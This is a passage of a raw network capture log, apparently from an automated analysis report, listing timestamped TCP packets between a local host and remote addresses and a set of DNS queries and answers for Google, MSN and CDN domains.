Nov 12, 2024 06:23:44.117100000 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.117137909 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.123051882 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123136044 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123173952 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123191118 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123200893 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123231888 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123260975 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123301983 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123408079 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123425961 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123444080 CET	54631	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123450041 CET	443	54631	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.123455048 CET	54630	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.123460054 CET	443	54630	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.126009941 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.126099110 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.126151085 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.126821995 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.126827002 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.126836061 CET	54629	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.126838923 CET	443	54629	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.126916885 CET	54634	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.126940966 CET	443	54634	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.127070904 CET	54634	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.127679110 CET	54634	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.127691984 CET	443	54634	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.127891064 CET	54635	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.127912998 CET	443	54635	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.127957106 CET	54635	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.128210068 CET	54635	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.128222942 CET	443	54635	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.129468918 CET	54636	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.129498959 CET	443	54636	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.129659891 CET	54636	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.129770041 CET	54636	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.129786968 CET	443	54636	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.136883974 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.136903048 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.136930943 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.136977911 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:44.136998892 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.137012005 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:44.137367010 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:44.137383938 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.137392998 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:44.137487888 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.137515068 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:44.137569904 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:44.144192934 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.144258022 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.144418001 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.144476891 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.144516945 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.144526005 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.144536018 CET	54632	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.144541025 CET	443	54632	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.146961927 CET	54637	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.146995068 CET	443	54637	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.147066116 CET	54637	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.147234917 CET	54637	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:44.147247076 CET	443	54637	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:44.168318987 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.168333054 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.168412924 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.168412924 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.198333979 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198345900 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198367119 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198389053 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.198394060 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198405981 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198426008 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.198452950 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.198615074 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198625088 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198637009 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198647976 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.198671103 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.198693037 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.199135065 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.199145079 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.199158907 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.199171066 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.199181080 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.199208975 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.234142065 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.234152079 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.234172106 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.234174013 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.234179020 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.234189034 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.234216928 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315300941 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315330982 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315347910 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315359116 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315366030 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315375090 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315387011 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315428019 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315613031 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315623999 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315634012 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315663099 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315676928 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315689087 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315701962 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315712929 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.315722942 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315735102 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.315751076 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.316574097 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.316585064 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.316598892 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.316615105 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:44.316627979 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:44.316657066 CET	54620	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 06:23:12.412440062 CET	192.168.2.5	1.1.1.1	0xab5b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:12.412553072 CET	192.168.2.5	1.1.1.1	0xf532	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:17.170521021 CET	192.168.2.5	1.1.1.1	0x2a97	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:17.170846939 CET	192.168.2.5	1.1.1.1	0x7fc	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:18.155386925 CET	192.168.2.5	1.1.1.1	0x5dd5	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:18.156179905 CET	192.168.2.5	1.1.1.1	0x6aa5	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:23.573390961 CET	192.168.2.5	1.1.1.1	0xd48c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:23.573548079 CET	192.168.2.5	1.1.1.1	0x4010	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:24.948898077 CET	192.168.2.5	1.1.1.1	0xf567	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:24.949184895 CET	192.168.2.5	1.1.1.1	0x76be	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 06:23:26.598819971 CET	192.168.2.5	1.1.1.1	0xe414	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.598957062 CET	192.168.2.5	1.1.1.1	0xbbd7	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:26.615387917 CET	192.168.2.5	1.1.1.1	0xf9bf	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.615534067 CET	192.168.2.5	1.1.1.1	0xa483	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:26.618869066 CET	192.168.2.5	1.1.1.1	0x837a	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.619043112 CET	192.168.2.5	1.1.1.1	0x2eb2	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:26.625526905 CET	192.168.2.5	1.1.1.1	0xb396	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.625614882 CET	192.168.2.5	1.1.1.1	0x2244	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:26.652451992 CET	192.168.2.5	1.1.1.1	0x7c33	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.652606010 CET	192.168.2.5	1.1.1.1	0x34ea	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:28.299617052 CET	192.168.2.5	1.1.1.1	0x7f91	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.299849987 CET	192.168.2.5	1.1.1.1	0x7fa7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:28.300292969 CET	192.168.2.5	1.1.1.1	0x4992	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.300734043 CET	192.168.2.5	1.1.1.1	0x6215	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:28.311768055 CET	192.168.2.5	1.1.1.1	0x28f9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.311949968 CET	192.168.2.5	1.1.1.1	0xe8dd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 06:23:32.567385912 CET	192.168.2.5	1.1.1.1	0xc741	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 12, 2024 06:23:35.054838896 CET	192.168.2.5	1.1.1.1	0x285d	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.055445910 CET	192.168.2.5	1.1.1.1	0xcc3c	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.092874050 CET	192.168.2.5	1.1.1.1	0xe2d9	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:37.267450094 CET	192.168.2.5	1.1.1.1	0xbc63	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:24.909331083 CET	192.168.2.5	1.1.1.1	0x2bf	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:33.872617960 CET	192.168.2.5	1.1.1.1	0x4666	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 06:23:12.418811083 CET	1.1.1.1	192.168.2.5	0xab5b	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:12.419373035 CET	1.1.1.1	192.168.2.5	0xf532	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 06:23:16.181780100 CET	1.1.1.1	192.168.2.5	0x22b2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:16.181780100 CET	1.1.1.1	192.168.2.5	0x22b2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:17.177203894 CET	1.1.1.1	192.168.2.5	0x2a97	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:17.177203894 CET	1.1.1.1	192.168.2.5	0x2a97	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:17.177813053 CET	1.1.1.1	192.168.2.5	0x7fc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:18.162173986 CET	1.1.1.1	192.168.2.5	0x5dd5	No error (0)	play.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:23.580487013 CET	1.1.1.1	192.168.2.5	0x4010	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:23.580507994 CET	1.1.1.1	192.168.2.5	0xd48c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:23.586288929 CET	1.1.1.1	192.168.2.5	0x7c84	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:23.586548090 CET	1.1.1.1	192.168.2.5	0x4635	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:23.586548090 CET	1.1.1.1	192.168.2.5	0x4635	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:24.956211090 CET	1.1.1.1	192.168.2.5	0xf567	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:24.956223965 CET	1.1.1.1	192.168.2.5	0x76be	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.605680943 CET	1.1.1.1	192.168.2.5	0xe414	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.605680943 CET	1.1.1.1	192.168.2.5	0xe414	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.605680943 CET	1.1.1.1	192.168.2.5	0xe414	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.605680943 CET	1.1.1.1	192.168.2.5	0xe414	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.622085094 CET	1.1.1.1	192.168.2.5	0xf9bf	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.623064995 CET	1.1.1.1	192.168.2.5	0xa483	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.625363111 CET	1.1.1.1	192.168.2.5	0x837a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.625492096 CET	1.1.1.1	192.168.2.5	0x2eb2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.632242918 CET	1.1.1.1	192.168.2.5	0xb396	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.632401943 CET	1.1.1.1	192.168.2.5	0x2244	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.659295082 CET	1.1.1.1	192.168.2.5	0x7c33	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:26.659295082 CET	1.1.1.1	192.168.2.5	0x7c33	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:26.659466028 CET	1.1.1.1	192.168.2.5	0x34ea	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:28.307120085 CET	1.1.1.1	192.168.2.5	0x7fa7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 06:23:28.307132006 CET	1.1.1.1	192.168.2.5	0x7f91	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.307132006 CET	1.1.1.1	192.168.2.5	0x7f91	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.307596922 CET	1.1.1.1	192.168.2.5	0x4992	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.307596922 CET	1.1.1.1	192.168.2.5	0x4992	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.307606936 CET	1.1.1.1	192.168.2.5	0x6215	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 06:23:28.318262100 CET	1.1.1.1	192.168.2.5	0x28f9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.318262100 CET	1.1.1.1	192.168.2.5	0x28f9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.318406105 CET	1.1.1.1	192.168.2.5	0xe8dd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 06:23:28.376125097 CET	1.1.1.1	192.168.2.5	0x816e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:28.376125097 CET	1.1.1.1	192.168.2.5	0x816e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.751802921 CET	1.1.1.1	192.168.2.5	0xb407	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:28.751931906 CET	1.1.1.1	192.168.2.5	0x5af8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:28.751931906 CET	1.1.1.1	192.168.2.5	0x5af8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.829140902 CET	1.1.1.1	192.168.2.5	0xd420	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:28.829140902 CET	1.1.1.1	192.168.2.5	0xd420	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:28.830559015 CET	1.1.1.1	192.168.2.5	0xfb48	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:29.852540970 CET	1.1.1.1	192.168.2.5	0x6ed7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:29.852540970 CET	1.1.1.1	192.168.2.5	0x6ed7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:29.895188093 CET	1.1.1.1	192.168.2.5	0xeb33	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:31.873523951 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:31.873523951 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:32.574923992 CET	1.1.1.1	192.168.2.5	0xc741	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 12, 2024 06:23:32.887168884 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:32.887168884 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:33.900051117 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:33.900051117 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.061901093 CET	1.1.1.1	192.168.2.5	0x285d	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:35.062267065 CET	1.1.1.1	192.168.2.5	0xcc3c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:35.099775076 CET	1.1.1.1	192.168.2.5	0xe2d9	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.099775076 CET	1.1.1.1	192.168.2.5	0xe2d9	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.099775076 CET	1.1.1.1	192.168.2.5	0xe2d9	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.099775076 CET	1.1.1.1	192.168.2.5	0xe2d9	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:35.913794994 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:35.913794994 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:37.274234056 CET	1.1.1.1	192.168.2.5	0xbc63	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:39.917839050 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:39.917839050 CET	1.1.1.1	192.168.2.5	0x8d92	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:47.907409906 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:47.907409906 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:48.918355942 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:48.918355942 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:49.918462992 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
